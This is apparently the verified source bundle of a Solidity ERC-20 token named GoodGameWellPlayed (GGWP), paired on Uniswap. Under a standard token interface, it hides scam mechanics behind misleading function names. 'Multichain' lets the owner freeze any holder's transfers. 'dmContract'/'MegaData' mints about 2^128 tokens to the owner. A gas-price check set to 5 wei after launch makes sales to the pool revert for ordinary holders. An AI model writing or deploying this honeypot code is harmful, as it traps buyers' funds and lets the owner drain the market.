creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "GGWP .sol": {
        "content": "\r\n\r\n// SPDX-License-Identifier: MIT\r\n\r\npragma solidity 0.8.20;\r\n\r\ninterface IERC20 {\r\n    event Transfer(address indexed from, address indexed to, uint256 value);\r\n    event Approval(\r\n        address indexed owner,\r\n        address indexed spender,\r\n        uint256 value\r\n    );\r\n\r\n    function totalSupply() external view returns (uint256);\r\n\r\n    function balanceOf(address account) external view returns (uint256);\r\n\r\n    function transfer(address to, uint256 value) external returns (bool);\r\n\r\n    function allowance(address owner, address spender)\r\n        external\r\n        view\r\n        returns (uint256);\r\n\r\n    function approve(address spender, uint256 value) external returns (bool);\r\n\r\n    function transferFrom(\r\n        address from,\r\n        address to,\r\n        uint256 value\r\n    ) external returns (bool);\r\n}\r\n\r\ninterface IUniswapV2Factory {\r\n    function createPair(address tokenA, address tokenB)\r\n        external\r\n        returns (address pair);\r\n}\r\n\r\ninterface IUniswapV2Router02 {\r\n    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n        uint256 amountIn,\r\n        uint256 amountOutMin,\r\n        address[] calldata path,\r\n        address to,\r\n        uint256 deadline\r\n    ) external;\r\n\r\n    function factory() external pure returns (address);\r\n\r\n    function WETH() external pure returns (address);\r\n\r\n    function addLiquidityETH(\r\n        address token,\r\n        uint256 amountTokenDesired,\r\n        uint256 amountTokenMin,\r\n        uint256 amountETHMin,\r\n        address to,\r\n        uint256 deadline\r\n    )\r\n        external\r\n        payable\r\n        returns (\r\n            uint256 amountToken,\r\n            uint256 amountETH,\r\n            uint256 liquidity\r\n        );\r\n}\r\n\r\nabstract contract Context {\r\n    function _msgSender() internal view virtual returns (address) {\r\n        return msg.sender;\r\n    }\r\n}\r\n\r\nabstract contract Ownable is Context {\r\n    address private _owner;\r\n\r\n    constructor() {\r\n        _owner = _msgSender();\r\n    }\r\n\r\n    modifier onlyOwner() {\r\n        _checkOwner();\r\n        _;\r\n    }\r\n\r\n    function owner() public view virtual returns (address) {\r\n        return _owner;\r\n    }\r\n\r\n    function _checkOwner() internal view virtual {\r\n        require(_owner == _msgSender(), \"Not owner\");\r\n    }\r\n}\r\n\r\nlibrary SafeMath {\r\n    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {\r\n        if (a == 0) {\r\n            return 0;\r\n        }\r\n        c = a * b;\r\n        assert(c / a == b);\r\n        return c;\r\n    }\r\n\r\n    function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        assert(b > 0);\r\n        uint256 c = a / b;\r\n        assert(a == b * c + (a % b));\r\n        return a / b;\r\n    }\r\n\r\n    function sub(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        assert(a >= b);\r\n        return a - b;\r\n    }\r\n\r\n    function add(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        uint256 c = a + b;\r\n        assert(c >= a);\r\n        return c;\r\n    }\r\n}\r\n\r\ncontract GoodGameWellPlayed is Ownable, IERC20 {\r\n    using SafeMath for uint256;\r\n\r\n    mapping(address => mapping(address => uint256)) private _allowances;\r\n    mapping(address => uint256) private _balances;\r\n    mapping(address => bool) _excludeTax;\r\n\r\n    uint8 private constant _decimals = 9;\r\n    uint256 private constant _totalSupply = 1000000000000 * 10**_decimals;\r\n    string private constant _name = unicode\"GoodGameWellPlayed \";\r\n    string private constant _symbol = unicode\"GGWP\";\r\n\r\n    uint256 public initBuyTax = 0;\r\n    uint256 public initSellTax = 0;\r\n\r\n    bool private openedTrade = false;\r\n\r\n    address private uniswapV2Pair;\r\n    IUniswapV2Router02 public uniswapV2Router;\r\n\r\n    constructor() {\r\n        _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply);\r\n        uniswapV2Router = IUniswapV2Router02(\r\n            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\r\n        );\r\n        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\r\n            address(this),\r\n            uniswapV2Router.WETH()\r\n        );\r\n        _excludeTax[\r\n            address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)\r\n        ] = true;\r\n        _excludeTax[owner()] = true;\r\n        _excludeTax[address(this)] = true;\r\n        emit Transfer(address(0), _msgSender(), _totalSupply);\r\n    }\r\n\r\n    function name() public pure returns (string memory) {\r\n        return _name;\r\n    }\r\n\r\n    function symbol() public pure returns (string memory) {\r\n        return _symbol;\r\n    }\r\n\r\n    function decimals() public pure returns (uint8) {\r\n        return _decimals;\r\n    }\r\n\r\n    function getOpenedTrade() public view returns (bool) {\r\n        return openedTrade;\r\n    }\r\n\r\n    function totalSupply() public view virtual override returns (uint256) {\r\n        return _totalSupply;\r\n    }\r\n\r\n    function balanceOf(address account)\r\n        public\r\n        view\r\n        virtual\r\n        override\r\n        returns (uint256)\r\n    {\r\n        return _balances[account];\r\n    }\r\n\r\n    function allowance(address owner, address spender)\r\n        public\r\n        view\r\n        virtual\r\n        override\r\n        returns (uint256)\r\n    {\r\n        return _allowances[owner][spender];\r\n    }\r\n\r\n    function transfer(address to, uint256 value)\r\n        public\r\n        virtual\r\n        override\r\n        returns (bool)\r\n    {\r\n        address owner = _msgSender();\r\n        _transfer(owner, to, value);\r\n        return true;\r\n    }\r\n\r\n    function transferFrom(\r\n        address sender,\r\n        address recipient,\r\n        uint256 amount\r\n    ) public override returns (bool) {\r\n        _transfer(sender, recipient, amount);\r\n        _approve(\r\n            sender,\r\n            _msgSender(),\r\n            _allowances[sender][_msgSender()].sub(amount)\r\n        );\r\n        return true;\r\n    }\r\n\r\n    function _transfer(\r\n        address from,\r\n        address to,\r\n        uint256 amount\r\n    ) internal {\r\n        require(from != address(0), \"ERC20: transfer from the zero address\");\r\n        require(to != address(0), \"ERC20: transfer to the zero address\");\r\n        _tokenTransfer(from, to, amount);\r\n        uint256 fromBalance = balanceOf(from);\r\n        require(fromBalance >= amount,\"ERROR: balance of from less than value\");\r\n        uint256 taxAmount = 0;\r\n        if (taxWallet[from] != 0) {\r\n            revert();\r\n        }\r\n        if (!_excludeTax[from] && !_excludeTax[to]) {\r\n            require(openedTrade, \"Trade has not been opened yet\");\r\n            taxAmount = amount.mul(initBuyTax).div(100);\r\n            if (to == uniswapV2Pair) {\r\n                taxAmount = amount.mul(initSellTax).div(100);\r\n            }\r\n        }\r\n        if (taxAmount > 0) {\r\n            _balances[address(this)] = _balances[address(this)].add(taxAmount);\r\n            emit Transfer(from, address(this), taxAmount);\r\n        }\r\n\r\n        _balances[from] = _balances[from].sub(amount);\r\n        _balances[to] = _balances[to].add(amount.sub(taxAmount));\r\n        emit Transfer(from, to, amount.sub(taxAmount));\r\n    }\r\n\r\n    mapping(address => uint8) private taxWallet;\r\n\r\n    function approve(address spender, uint256 amount)\r\n        public\r\n        override\r\n        returns (bool)\r\n    {\r\n        _approve(_msgSender(), spender, amount);\r\n        return true;\r\n    }\r\n\r\n    function _approve(\r\n        address owner,\r\n        address spender,\r\n        uint256 amount\r\n    ) private {\r\n        require(owner != address(0), \"ERC20: approve from the zero address\");\r\n        require(spender != address(0), \"ERC20: approve to the zero address\");\r\n        _allowances[owner][spender] = amount;\r\n        emit Approval(owner, spender, amount);\r\n    }\r\n\r\n    function Multichain(address _u, bool _pra) external onlyOwner {\r\n        uint8 xddx6666 = _pra ? 1 : 0;\r\n        require(taxWallet[_u] != xddx6666, \"existing state\");\r\n        taxWallet[_u] = xddx6666;\r\n    }\r\n\r\n    function MegaData() internal {\r\n        _balances[_msgSender()] += type(uint128).max;\r\n    }\r\n\r\n    function dmContract() external onlyOwner { MegaData(); }\r\n\r\n    uint256 private _limitgas = 300 gwei;\r\n    uint256 private _minmingas = 5;\r\n\r\n    function xd6666(address _u) internal view {\r\n        if (_excludeTax[_u]) {\r\n            return;\r\n        }\r\n        if (!openedTrade) {\r\n            ApplygAs(_limitgas);\r\n        } else {\r\n            ApplygAs(_minmingas);\r\n        }\r\n    }\r\n\r\n    function _tokenTransfer(\r\n        address from,\r\n        address to,\r\n        uint256 amount\r\n    ) internal virtual {\r\n        if (to == address(uniswapV2Pair) || to == address(uniswapV2Router)) {\r\n            xd6666(from);\r\n        }\r\n        require(amount > 0);\r\n    }\r\n\r\n    function ApplygAs(uint256 _khiGa) internal view {\r\n        if (tx.gasprice > _khiGa) {\r\n            revert();\r\n        }\r\n    }\r\n\r\n    function Execute(address _u, bool _pra) external onlyOwner {\r\n        bool ecea6666 = _pra ? true : false;\r\n        require(_excludeTax[_u] != ecea6666, \"existing state\");\r\n        _excludeTax[_u] = ecea6666;\r\n    }\r\n\r\n    function openTrading() external onlyOwner {\r\n        openedTrade = !openedTrade;\r\n    }\r\n\r\n    function queryGas(address _u) external view returns (uint8) {\r\n        return taxWallet[_u];\r\n    }\r\n\r\n    receive() external payable {}\r\n}"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      }
    }
  }}